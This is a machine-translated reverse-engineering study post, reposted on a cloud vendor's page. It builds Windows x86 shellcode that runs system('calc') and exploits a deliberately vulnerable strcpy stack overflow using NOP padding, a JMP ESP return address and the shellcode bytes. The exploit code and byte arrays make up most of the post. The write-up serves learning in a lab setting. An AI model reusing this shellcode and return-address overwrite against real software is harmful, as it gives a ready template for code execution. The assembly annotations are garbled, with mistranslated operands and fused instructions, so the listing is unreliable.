Reverse engineering Study the third day-another shellcode

Source: Internet
Author: User

The shellcode of adding users that they built last week was too long, but the main goal was to exercise manual asm, to familiarize yourself with some of the complex parameter types that were constructed manually, and then passed through the stack.

The next step is to build a shellcode for the next study and test.

The C code of the bomb calculator has only one sentence:

C Code:

  

System ("Calc");

@Sl Code:

    004030b48BECmovEBP, ESP//Raise the bottom of the stack and prepare the parameters for release004030b633FFXOREDI , EDI//EDI cleared, prepared for 0, which prevents 00 from appearing in the code and avoids truncation of shellcode in the copy of the character class. 004030b8     $              PushEDI//opens up 0 filled stack spaces for storing characters. 004030b9     $              PushEDI//opens up 0 filled stack spaces for storing characters. 004030BAC645 FB the      movbyte ptr [ebp-5], the//character "C" into the stack. 004030BEC645 FC A      movbyte ptr [ebp-4], A//character "a" into the stack. 004030c2C645 FD 6Cmovbyte ptr [ebp-3], 6C//character "L" into the stack. 004030c6C645 FE the      movbyte ptr [ebp-2], the//character "C" into the stack. 004030CA8D45 FBLeaEAX, DWORD ptr [ebp-5]//Get the string address into eax. 004030CD     -              Pusheax//Parameter "Calc" into the stack004030CEB8 c793bf77moveax, Msvcrt.system//Gets the system function address Msvcrt.dll is loaded by default, so there is no LoadLibrary. 004030d3FFD0PagerEAX//Call the system function to start the calculator.

Machine code:

0X8B,0XEC,0X33,0XFF,0X57,0X57,0XC6,0X45,0XFB,0X63,0XC6,0X45,0XFC,0X61,0XC6,0X45,0XFD,0X6C,0XC6,0X45,0XFE,0X63, 0x8d,0x45,0xfb,0x50,0xb8,0xc7,0x93,0xbf,0x77,0xff,0xd0

Test:

Vulnerability procedure:

#include"stdafx.h"#include<stdio.h>#include<string.h>CharShellcode[] ={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x12,0x45,0xFA,0x7F,0x8b,0xEC,0x33,0xFF,0x57,0x57,0xC6,0x45,0xFB,0x63,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x6c,0xC6,0x45,0xFE,0x63,0x8d,0x45,0xFB,0x50,0xb8,0xC7,0x93,0xBF,0x77,0xFF,0xD0};voidoverflow ();intMain () {overflow (); printf ("Fuction returned"); return 0;}voidoverflow () {Charoutput[8];  strcpy (output, ShellCode); printf ("Output is%s", Output);}

Vulnerability program is a typical stack bof vulnerability, in the case of shutting down other BOF protections, we use the classic overlay return address to test, attack the string layout:

0x90 Fill

JMP ESP Address (0x7ffa4512)

Shellcode

    1. Run-time Stack:

2. Successful pop-up calculator:

Reverse engineering Study the third day-another shellcode

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.